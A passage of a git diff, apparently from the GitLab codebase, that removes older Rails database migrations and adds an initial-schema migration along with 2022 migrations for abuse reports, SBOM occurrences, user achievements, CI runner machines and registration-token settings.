- remove_foreign_key_if_exists :protected_environments, column: :group_id
- remove_concurrent_index_by_name :protected_environments, name: INDEX_NAME
- end
-
- private
-
- def remove_group_protected_environments!
- execute <<-SQL
- DELETE FROM protected_environments WHERE group_id IS NOT NULL
- SQL
- end
-end
diff --git a/db/migrate/20210601123341_add_running_builds_table.rb b/db/migrate/20210601123341_add_running_builds_table.rb
deleted file mode 100644
index 4093619d2c3..00000000000
--- a/db/migrate/20210601123341_add_running_builds_table.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddRunningBuildsTable < ActiveRecord::Migration[6.0]
- def up
- create_table :ci_running_builds do |t|
- t.references :build, index: { unique: true }, null: false, foreign_key: { to_table: :ci_builds, on_delete: :cascade }
- t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
- t.references :runner, index: true, null: false, foreign_key: { to_table: :ci_runners, on_delete: :cascade }
- t.datetime_with_timezone :created_at, null: false, default: -> { 'NOW()' }
- t.integer :runner_type, limit: 2, null: false
- end
- end
-
- def down
- drop_table :ci_running_builds
- end
-end
diff --git a/db/migrate/20210601125410_add_runners_created_at_index.rb b/db/migrate/20210601125410_add_runners_created_at_index.rb
deleted file mode 100644
index 6a6be6d8480..00000000000
--- a/db/migrate/20210601125410_add_runners_created_at_index.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-# See https://docs.gitlab.com/ee/development/migration_style_guide.html
-# for more information on how to write migrations for GitLab.
-
-class AddRunnersCreatedAtIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_runners, [:created_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_created_at_and_id_desc'
- add_concurrent_index :ci_runners, [:created_at, :id], order: { created_at: :desc, id: :desc }, name: 'index_ci_runners_on_created_at_desc_and_id_desc'
- end
-
- def down
- remove_concurrent_index :ci_runners, [:created_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_created_at_and_id_desc'
- remove_concurrent_index :ci_runners, [:created_at, :id], order: { created_at: :desc, id: :desc }, name: 'index_ci_runners_on_created_at_desc_and_id_desc'
- end
-end
diff --git a/db/migrate/20210601131742_update_web_hook_calls_limit.rb b/db/migrate/20210601131742_update_web_hook_calls_limit.rb
deleted file mode 100644
index 6af0facd17d..00000000000
--- a/db/migrate/20210601131742_update_web_hook_calls_limit.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateWebHookCallsLimit < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- return unless Gitlab.com?
-
- create_or_update_plan_limit('web_hook_calls', 'free', 120)
- end
-
- def down
- return unless Gitlab.com?
-
- create_or_update_plan_limit('web_hook_calls', 'free', 0)
- end
-end
diff --git a/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb b/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb
deleted file mode 100644
index d9793832d8c..00000000000
--- a/db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class RemovePartialIndexForHashedStorageMigration < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index :projects, :id, name: 'index_on_id_partial_with_legacy_storage'
- end
-
- def down
- add_concurrent_index :projects, :id, where: 'storage_version < 2 or storage_version IS NULL', name: 'index_on_id_partial_with_legacy_storage'
- end
-end
diff --git a/db/migrate/20210601133459_replace_runners_contacted_at_index.rb b/db/migrate/20210601133459_replace_runners_contacted_at_index.rb
deleted file mode 100644
index a0a933721f0..00000000000
--- a/db/migrate/20210601133459_replace_runners_contacted_at_index.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-# See https://docs.gitlab.com/ee/development/migration_style_guide.html
-# for more information on how to write migrations for GitLab.
-
-class ReplaceRunnersContactedAtIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- OLD_INDEX_NAME = 'index_ci_runners_on_contacted_at'
-
- def up
- add_concurrent_index :ci_runners, [:contacted_at, :id], order: { id: :desc }, name: 'index_ci_runners_on_contacted_at_and_id_desc', using: 'btree'
- add_concurrent_index :ci_runners, [:contacted_at, :id], order: { contacted_at: :desc, id: :desc }, name: 'index_ci_runners_on_contacted_at_desc_and_id_desc', using: 'btree'
-
- remove_concurrent_index_by_name :ci_runners, OLD_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :ci_runners, 'index_ci_runners_on_contacted_at_and_id_desc'
- remove_concurrent_index_by_name :ci_runners, 'index_ci_runners_on_contacted_at_desc_and_id_desc'
-
- add_concurrent_index :ci_runners, :contacted_at, name: OLD_INDEX_NAME, using: 'btree'
- end
-end
diff --git a/db/migrate/20210602122213_add_upcoming_reconciliations.rb b/db/migrate/20210602122213_add_upcoming_reconciliations.rb
deleted file mode 100644
index 90d0013b357..00000000000
--- a/db/migrate/20210602122213_add_upcoming_reconciliations.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class AddUpcomingReconciliations < ActiveRecord::Migration[6.1]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- create_table :upcoming_reconciliations do |t|
- t.references :namespace, index: { unique: true }, null: true, foreign_key: { on_delete: :cascade }
- t.date :next_reconciliation_date, null: false
- t.date :display_alert_from, null: false
-
- t.timestamps_with_timezone
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :upcoming_reconciliations
- end
- end
-end
diff --git a/db/migrate/20210602122233_add_runners_description_index.rb b/db/migrate/20210602122233_add_runners_description_index.rb
deleted file mode 100644
index ae779e62f0f..00000000000
--- a/db/migrate/20210602122233_add_runners_description_index.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddRunnersDescriptionIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_ci_runners_on_description_trigram'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :ci_runners, :description, name: INDEX_NAME, using: :gin, opclass: { description: :gin_trgm_ops }
- end
-
- def down
- remove_concurrent_index_by_name :ci_runners, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb b/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb
deleted file mode 100644
index f99790e0eca..00000000000
--- a/db/migrate/20210602155056_add_merge_request_diff_commit_users.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class AddMergeRequestDiffCommitUsers < ActiveRecord::Migration[6.1]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :merge_request_diff_commit_users, id: :bigint do |t|
- t.text :name
- t.text :email
-
- t.text_limit :name, 512
- t.text_limit :email, 512
-
- t.index [:name, :email], unique: true
- end
-
- # Names or Emails can be optional, so in some cases one of these may be
- # null. But if both are NULL/empty, no row should exist in this table.
- add_check_constraint(
- :merge_request_diff_commit_users,
- "(COALESCE(name, '') != '') OR (COALESCE(email, '') != '')",
- :merge_request_diff_commit_users_name_or_email_existence
- )
- end
-
- def down
- drop_table :merge_request_diff_commit_users
- end
-end
diff --git a/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb b/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb
deleted file mode 100644
index 8cc86c7e73c..00000000000
--- a/db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class AddMergeRequestDiffCommitUserColumns < ActiveRecord::Migration[6.1]
- include Gitlab::Database::MigrationHelpers
-
- def up
- # NOTE: these columns are _not_ indexed, nor do they use foreign keys.
- #
- # This is deliberate, as creating these indexes on GitLab.com takes a _very_
- # long time. In addition, there's no real need for them either based on how
- # this data is used.
- #
- # For more information, refer to the following:
- #
- # - https://gitlab.com/gitlab-com/gl-infra/production/-/issues/5038#note_614592881
- # - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63669
- add_column(:merge_request_diff_commits, :commit_author_id, :bigint)
- add_column(:merge_request_diff_commits, :committer_id, :bigint)
- end
-
- def down
- remove_column(:merge_request_diff_commits, :commit_author_id)
- remove_column(:merge_request_diff_commits, :committer_id)
- end
-end
diff --git a/db/migrate/20210602155110_init_schema.rb b/db/migrate/20210602155110_init_schema.rb
new file mode 100644
index 00000000000..971a3e0e2db
--- /dev/null
+++ b/db/migrate/20210602155110_init_schema.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class InitSchema < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ execute(File.read("db/init_structure.sql"))
+ end
+
+ def down
+ raise ActiveRecord::IrreversibleMigration, "The initial migration is not able to be reverted."
+ end
+end
diff --git a/db/migrate/20221010191136_add_access_level_to_ci_job_artifacts.rb b/db/migrate/20221010191136_add_access_level_to_ci_job_artifacts.rb
new file mode 100644
index 00000000000..d69965ed8ec
--- /dev/null
+++ b/db/migrate/20221010191136_add_access_level_to_ci_job_artifacts.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddAccessLevelToCiJobArtifacts < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column :ci_job_artifacts, :accessibility, :integer, default: 0, limit: 2, null: false
+ end
+end
diff --git a/db/migrate/20221122210711_add_columns_to_postgres_foreign_keys.rb b/db/migrate/20221122210711_add_columns_to_postgres_foreign_keys.rb
new file mode 100644
index 00000000000..bef05e52a3a
--- /dev/null
+++ b/db/migrate/20221122210711_add_columns_to_postgres_foreign_keys.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+class AddColumnsToPostgresForeignKeys < Gitlab::Database::Migration[2.0]
+ def up
+ execute(<<~SQL)
+ CREATE OR REPLACE VIEW postgres_foreign_keys AS
+ SELECT
+ pg_constraint.oid AS oid,
+ pg_constraint.conname AS name,
+ constrained_namespace.nspname::text || '.'::text || constrained_table.relname::text AS constrained_table_identifier,
+ referenced_namespace.nspname::text || '.'::text || referenced_table.relname::text AS referenced_table_identifier,
+ constrained_table.relname::text AS constrained_table_name,
+ referenced_table.relname::text AS referenced_table_name,
+ constrained_cols.constrained_columns,
+ referenced_cols.referenced_columns,
+ pg_constraint.confdeltype AS on_delete_action,
+ pg_constraint.coninhcount > 0 as is_inherited
+ FROM pg_constraint
+ INNER JOIN pg_class constrained_table ON constrained_table.oid = pg_constraint.conrelid
+ INNER JOIN pg_class referenced_table ON referenced_table.oid = pg_constraint.confrelid
+ INNER JOIN pg_namespace constrained_namespace ON constrained_table.relnamespace = constrained_namespace.oid
+ INNER JOIN pg_namespace referenced_namespace ON referenced_table.relnamespace = referenced_namespace.oid
+ CROSS JOIN LATERAL (
+ SELECT array_agg(pg_attribute.attname ORDER BY conkey.idx) -- must order here so that attributes are in correct order in array
+ FROM unnest(pg_constraint.conkey) WITH ORDINALITY conkey(attnum, idx)
+ INNER JOIN pg_attribute ON pg_attribute.attnum = conkey.attnum AND pg_attribute.attrelid = constrained_table.oid
+ ) constrained_cols(constrained_columns)
+ CROSS JOIN LATERAL (
+ SELECT array_agg(pg_attribute.attname ORDER BY confkey.idx)
+ FROM unnest(pg_constraint.confkey) WITH ORDINALITY confkey(attnum, idx)
+ INNER JOIN pg_attribute ON pg_attribute.attnum = confkey.attnum AND pg_attribute.attrelid = referenced_table.oid
+ ) referenced_cols(referenced_columns)
+ WHERE contype = 'f';
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ DROP VIEW IF EXISTS postgres_foreign_keys;
+ CREATE OR REPLACE VIEW postgres_foreign_keys AS
+ SELECT
+ pg_constraint.oid AS oid,
+ pg_constraint.conname AS name,
+ constrained_namespace.nspname::text || '.'::text || constrained_table.relname::text AS constrained_table_identifier,
+ referenced_namespace.nspname::text || '.'::text || referenced_table.relname::text AS referenced_table_identifier
+ FROM pg_constraint
+ INNER JOIN pg_class constrained_table ON constrained_table.oid = pg_constraint.conrelid
+ INNER JOIN pg_class referenced_table ON referenced_table.oid = pg_constraint.confrelid
+ INNER JOIN pg_namespace constrained_namespace ON constrained_table.relnamespace = constrained_namespace.oid
+ INNER JOIN pg_namespace referenced_namespace ON referenced_table.relnamespace = referenced_namespace.oid
+ WHERE contype = 'f';
+ SQL
+ end
+end
diff --git a/db/migrate/20221204090437_add_category_to_abuse_report.rb b/db/migrate/20221204090437_add_category_to_abuse_report.rb
new file mode 100644
index 00000000000..e908f3354bb
--- /dev/null
+++ b/db/migrate/20221204090437_add_category_to_abuse_report.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddCategoryToAbuseReport < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :abuse_reports, :category, :integer, limit: 2, default: 1, null: false
+ end
+end
diff --git a/db/migrate/20221209174132_remove_sbom_occurrences_unique_index.rb b/db/migrate/20221209174132_remove_sbom_occurrences_unique_index.rb
new file mode 100644
index 00000000000..1bee62b5b1f
--- /dev/null
+++ b/db/migrate/20221209174132_remove_sbom_occurrences_unique_index.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class RemoveSbomOccurrencesUniqueIndex < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_sbom_occurrences_on_ingestion_attributes'
+ ATTRIBUTES = %i[
+ project_id
+ component_id
+ component_version_id
+ source_id
+ commit_sha
+ ].freeze
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :sbom_occurrences, name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :sbom_occurrences, ATTRIBUTES, unique: true, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20221209174157_truncate_sbom_occurrences.rb b/db/migrate/20221209174157_truncate_sbom_occurrences.rb
new file mode 100644
index 00000000000..e9db6526e2d
--- /dev/null
+++ b/db/migrate/20221209174157_truncate_sbom_occurrences.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class TruncateSbomOccurrences < Gitlab::Database::Migration[2.1]
+ def up
+ # Because existing data in the table violates the new
+ # uniqueness constraints, we need to remove the non-distinct rows.
+ # Rather than do an expensive and error-prone batch migration
+ # to find and remove the duplicates, we'll just remove all records
+ # from the table.
+ #
+ # The `cyclonedx_sbom_ingestion` feature flag should
+ # be OFF in all environments to avoid having more duplicate records
+ # added between this migration and the one where the new unqiue index
+ # is added.
+
+ # TRUNCATE is a DDL statement (it drops the table and re-creates it), so we want to run the
+ # migration in DDL mode, but we also don't want to execute it against all schemas because
+ # it's considered a write operation. So, we'll manually check and skip the migration if
+ # it's on not `:gitlab_main`.
+ return unless Gitlab::Database.gitlab_schemas_for_connection(connection).include?(:gitlab_main)
+
+ execute('TRUNCATE sbom_occurrences')
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20221212054640_add_reported_from_to_abuse_reports.rb b/db/migrate/20221212054640_add_reported_from_to_abuse_reports.rb
new file mode 100644
index 00000000000..701c0fa2e2c
--- /dev/null
+++ b/db/migrate/20221212054640_add_reported_from_to_abuse_reports.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddReportedFromToAbuseReports < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ unless column_exists?(:abuse_reports, :reported_from_url)
+ add_column :abuse_reports, :reported_from_url, :text, null: false, default: ''
+ end
+ end
+
+ add_text_limit :abuse_reports, :reported_from_url, 512
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :abuse_reports, :reported_from_url if column_exists?(:abuse_reports, :reported_from_url)
+ end
+ end
+end
diff --git a/db/migrate/20221212192452_add_uuid_column_to_sbom_occurrences.rb b/db/migrate/20221212192452_add_uuid_column_to_sbom_occurrences.rb
new file mode 100644
index 00000000000..4b7162d66f1
--- /dev/null
+++ b/db/migrate/20221212192452_add_uuid_column_to_sbom_occurrences.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddUuidColumnToSbomOccurrences < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :sbom_occurrences, :uuid, :uuid, null: false # rubocop:disable Rails/NotNullColumn
+ end
+end
diff --git a/db/migrate/20221212192527_index_sbom_occurrences_on_uuid.rb b/db/migrate/20221212192527_index_sbom_occurrences_on_uuid.rb
new file mode 100644
index 00000000000..7dbf6f25ab4
--- /dev/null
+++ b/db/migrate/20221212192527_index_sbom_occurrences_on_uuid.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class IndexSbomOccurrencesOnUuid < Gitlab::Database::Migration[2.1]
+ INDEX_NAME = 'index_sbom_occurrences_on_uuid'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :sbom_occurrences, :uuid, unique: true, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :sbom_occurrences, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20221213105028_add_sync_part_step_2_of_index_namespaces_on_path_for_top_level_non_projects.rb b/db/migrate/20221213105028_add_sync_part_step_2_of_index_namespaces_on_path_for_top_level_non_projects.rb
new file mode 100644
index 00000000000..c16cf3dd940
--- /dev/null
+++ b/db/migrate/20221213105028_add_sync_part_step_2_of_index_namespaces_on_path_for_top_level_non_projects.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddSyncPartStep2OfIndexNamespacesOnPathForTopLevelNonProjects < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ TABLE_NAME = 'namespaces'
+ INDEX_NAME = 'index_namespaces_on_path_for_top_level_non_projects'
+ COLUMN = "lower((path)::text)"
+ CONDITIONS = "(parent_id IS NULL AND type::text <> 'Project'::text)"
+
+ def up
+ add_concurrent_index TABLE_NAME, COLUMN, name: INDEX_NAME, where: CONDITIONS
+ end
+
+ def down
+ remove_concurrent_index_by_name TABLE_NAME, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20221214201256_create_user_achievements.rb b/db/migrate/20221214201256_create_user_achievements.rb
new file mode 100644
index 00000000000..6e82cd255cd
--- /dev/null
+++ b/db/migrate/20221214201256_create_user_achievements.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class CreateUserAchievements < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def up
+ create_table :user_achievements do |t|
+ t.references :achievement,
+ null: false,
+ index: false,
+ foreign_key: { on_delete: :cascade }
+ t.bigint :user_id,
+ null: false
+ t.bigint :awarded_by_user_id,
+ null: true
+ t.bigint :revoked_by_user_id,
+ index: true,
+ null: true
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :revoked_at, null: true
+ t.index 'achievement_id, (revoked_by_user_id IS NULL)',
+ name: 'index_user_achievements_on_achievement_id_revoked_by_is_null'
+ t.index 'user_id, (revoked_by_user_id IS NULL)',
+ name: 'index_user_achievements_on_user_id_revoked_by_is_null'
+ t.index 'awarded_by_user_id, (revoked_by_user_id IS NULL)',
+ name: 'index_user_achievements_on_awarded_by_revoked_by_is_null'
+ end
+ end
+
+ def down
+ drop_table :user_achievements
+ end
+end
diff --git a/db/migrate/20221214204247_user_achievements_foreign_keys.rb b/db/migrate/20221214204247_user_achievements_foreign_keys.rb
new file mode 100644
index 00000000000..d65d3800dab
--- /dev/null
+++ b/db/migrate/20221214204247_user_achievements_foreign_keys.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class UserAchievementsForeignKeys < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :user_achievements, :users, column: :user_id, on_delete: :cascade
+ add_concurrent_foreign_key :user_achievements, :users, column: :awarded_by_user_id, on_delete: :nullify
+ add_concurrent_foreign_key :user_achievements, :users, column: :revoked_by_user_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :user_achievements, column: :user_id
+ remove_foreign_key :user_achievements, column: :awarded_by_user_id
+ remove_foreign_key :user_achievements, column: :revoked_by_user_id
+ end
+ end
+end
diff --git a/db/migrate/20221215210347_partition_pm_package_metadata_tables.rb b/db/migrate/20221215210347_partition_pm_package_metadata_tables.rb
new file mode 100644
index 00000000000..ebf2b8395b6
--- /dev/null
+++ b/db/migrate/20221215210347_partition_pm_package_metadata_tables.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class PartitionPmPackageMetadataTables < Gitlab::Database::Migration[2.1]
+ def up
+ # no-op
+ # This migration was reverted as part of https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108644
+ # The migration file is re-added to ensure that all environments have the same list of migrations.
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20221219103007_add_name_to_ml_candidates.rb b/db/migrate/20221219103007_add_name_to_ml_candidates.rb
new file mode 100644
index 00000000000..2c56279de73
--- /dev/null
+++ b/db/migrate/20221219103007_add_name_to_ml_candidates.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+class AddNameToMlCandidates < Gitlab::Database::Migration[2.1]
+ def change
+ add_column :ml_candidates, :name, :text # rubocop:disable Migration/AddLimitToTextColumns
+ end
+end
diff --git a/db/migrate/20221219112528_add_text_limit_to_name_on_ml_candidates.rb b/db/migrate/20221219112528_add_text_limit_to_name_on_ml_candidates.rb
new file mode 100644
index 00000000000..c8f0de3b826
--- /dev/null
+++ b/db/migrate/20221219112528_add_text_limit_to_name_on_ml_candidates.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddTextLimitToNameOnMlCandidates < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :ml_candidates, :name, 255
+ end
+
+ def down
+ remove_text_limit :ml_candidates, :name
+ end
+end
diff --git a/db/migrate/20221219135535_add_user_defaults_to_private_profile_to_application_settings.rb b/db/migrate/20221219135535_add_user_defaults_to_private_profile_to_application_settings.rb
new file mode 100644
index 00000000000..2770456c46f
--- /dev/null
+++ b/db/migrate/20221219135535_add_user_defaults_to_private_profile_to_application_settings.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddUserDefaultsToPrivateProfileToApplicationSettings < Gitlab::Database::Migration[2.1]
+ def change
+ add_column(:application_settings, :user_defaults_to_private_profile, :boolean, default: false, null: false)
+ end
+end
diff --git a/db/migrate/20221221134116_create_elastic_group_index_statuses.rb b/db/migrate/20221221134116_create_elastic_group_index_statuses.rb
new file mode 100644
index 00000000000..6084b7e9557
--- /dev/null
+++ b/db/migrate/20221221134116_create_elastic_group_index_statuses.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class CreateElasticGroupIndexStatuses < Gitlab::Database::Migration[2.1]
+ def change
+ create_table :elastic_group_index_statuses, id: false do |t|
+ t.references :namespace,
+ primary_key: true,
+ foreign_key: { on_delete: :cascade },
+ index: false,
+ default: nil
+
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :wiki_indexed_at
+
+ t.binary :last_wiki_commit
+ end
+ end
+end
diff --git a/db/migrate/20221221171239_rename_amount_used_column.rb b/db/migrate/20221221171239_rename_amount_used_column.rb
new file mode 100644
index 00000000000..f25407a85af
--- /dev/null
+++ b/db/migrate/20221221171239_rename_amount_used_column.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class RenameAmountUsedColumn < Gitlab::Database::Migration[2.1]
+ TRIGGER_NAME = 'sync_projects_amount_used_columns'
+ def up
+ rename_column :ci_project_monthly_usages, :amount_used, :tmp_amount_used
+ rename_column :ci_project_monthly_usages, :new_amount_used, :amount_used
+ rename_column :ci_project_monthly_usages, :tmp_amount_used, :new_amount_used
+
+ remove_rename_triggers(:ci_project_monthly_usages, TRIGGER_NAME)
+ install_rename_triggers(:ci_project_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME)
+ end
+
+ def down
+ rename_column :ci_project_monthly_usages, :amount_used, :tmp_amount_used
+ rename_column :ci_project_monthly_usages, :new_amount_used, :amount_used
+ rename_column :ci_project_monthly_usages, :tmp_amount_used, :new_amount_used
+
+ remove_rename_triggers(:ci_project_monthly_usages, TRIGGER_NAME)
+ install_rename_triggers(:ci_project_monthly_usages, :amount_used, :new_amount_used, trigger_name: TRIGGER_NAME)
+ end
+end
diff --git a/db/migrate/20221222144954_create_analytics_dashboards_configuration_pointers.rb b/db/migrate/20221222144954_create_analytics_dashboards_configuration_pointers.rb
new file mode 100644
index 00000000000..b3df3ea281b
--- /dev/null
+++ b/db/migrate/20221222144954_create_analytics_dashboards_configuration_pointers.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class CreateAnalyticsDashboardsConfigurationPointers < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ create_table :analytics_dashboards_pointers do |t|
+ t.belongs_to :namespace,
+ null: false,
+ index: { unique: true },
+ foreign_key: { to_table: :namespaces, on_delete: :cascade }
+ t.belongs_to :project, null: false, foreign_key: { to_table: :projects, on_delete: :cascade }
+ end
+ end
+
+ def down
+ drop_table :analytics_dashboards_pointers
+ end
+end
diff --git a/db/migrate/20221223114543_add_pwa_icon_to_appearances.rb b/db/migrate/20221223114543_add_pwa_icon_to_appearances.rb
new file mode 100644
index 00000000000..9a1711be75d
--- /dev/null
+++ b/db/migrate/20221223114543_add_pwa_icon_to_appearances.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddPwaIconToAppearances < Gitlab::Database::Migration[2.1]
+ # rubocop:disable Migration/AddLimitToTextColumns
+ def up
+ add_column :appearances, :pwa_icon, :text
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+
+ def down
+ remove_column :appearances, :pwa_icon
+ end
+end
diff --git a/db/migrate/20221226105323_add_registration_columns_to_ci_runners.rb b/db/migrate/20221226105323_add_registration_columns_to_ci_runners.rb
new file mode 100644
index 00000000000..6788f154a5c
--- /dev/null
+++ b/db/migrate/20221226105323_add_registration_columns_to_ci_runners.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddRegistrationColumnsToCiRunners < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column :ci_runners, :registration_type, :integer, limit: 1, default: 0, null: false
+ add_column :ci_runners, :creator_id, :bigint, null: true
+ end
+end
diff --git a/db/migrate/20221226132038_index_ci_runners_on_creator_id.rb b/db/migrate/20221226132038_index_ci_runners_on_creator_id.rb
new file mode 100644
index 00000000000..e163380533b
--- /dev/null
+++ b/db/migrate/20221226132038_index_ci_runners_on_creator_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class IndexCiRunnersOnCreatorId < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_ci_runners_on_creator_id_where_creator_id_not_null'
+
+ def up
+ add_concurrent_index :ci_runners, :creator_id, where: 'creator_id IS NOT NULL', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_runners, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20221226163203_create_ci_runner_machines.rb b/db/migrate/20221226163203_create_ci_runner_machines.rb
new file mode 100644
index 00000000000..21ebeb898f4
--- /dev/null
+++ b/db/migrate/20221226163203_create_ci_runner_machines.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class CreateCiRunnerMachines < Gitlab::Database::Migration[2.1]
+ def change
+ create_table :ci_runner_machines do |t|
+ t.belongs_to :runner, index: false, null: false, foreign_key: { to_table: :ci_runners, on_delete: :cascade }
+ t.integer :executor_type, limit: 2
+ t.text :machine_xid, null: false, limit: 64
+ t.timestamps_with_timezone null: false
+ t.datetime_with_timezone :contacted_at
+ t.text :version, limit: 2048
+ t.text :revision, limit: 255
+ t.text :platform, limit: 255
+ t.text :architecture, limit: 255
+ t.text :ip_address, limit: 1024
+
+ t.index [:runner_id, :machine_xid], unique: true
+ t.index :version
+ end
+ end
+end
diff --git a/db/migrate/20221227080606_add_text_limit_to_pwa_icon.rb b/db/migrate/20221227080606_add_text_limit_to_pwa_icon.rb
new file mode 100644
index 00000000000..66edad4f53e
--- /dev/null
+++ b/db/migrate/20221227080606_add_text_limit_to_pwa_icon.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddTextLimitToPwaIcon < Gitlab::Database::Migration[2.1]
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :appearances, :pwa_icon, 1024
+ end
+
+ def down
+ remove_text_limit :appearances, :pwa_icon
+ end
+end
diff --git a/db/migrate/20221227100846_add_allow_registration_token_to_application_settings.rb b/db/migrate/20221227100846_add_allow_registration_token_to_application_settings.rb
new file mode 100644
index 00000000000..f6f055ef865
--- /dev/null
+++ b/db/migrate/20221227100846_add_allow_registration_token_to_application_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddAllowRegistrationTokenToApplicationSettings < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
+ add_column :application_settings, :allow_runner_registration_token, :boolean, default: true, null: false
+ end
+end
diff --git a/db/migrate/20221227100908_add_allow_registration_token_to_namespace_settings.rb b/db/migrate/20221227100908_add_allow_registration_token_to_namespace_settings.rb
new file mode 100644
index 00000000000..46456fcfbdf
--- /dev/null
+++ b/db/migrate/20221227100908_add_allow_registration_token_to_namespace_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddAllowRegistrationTokenToNamespaceSettings < Gitlab::Database::Migration[2.1]
+ enable_lock_retries!
+
+ def change
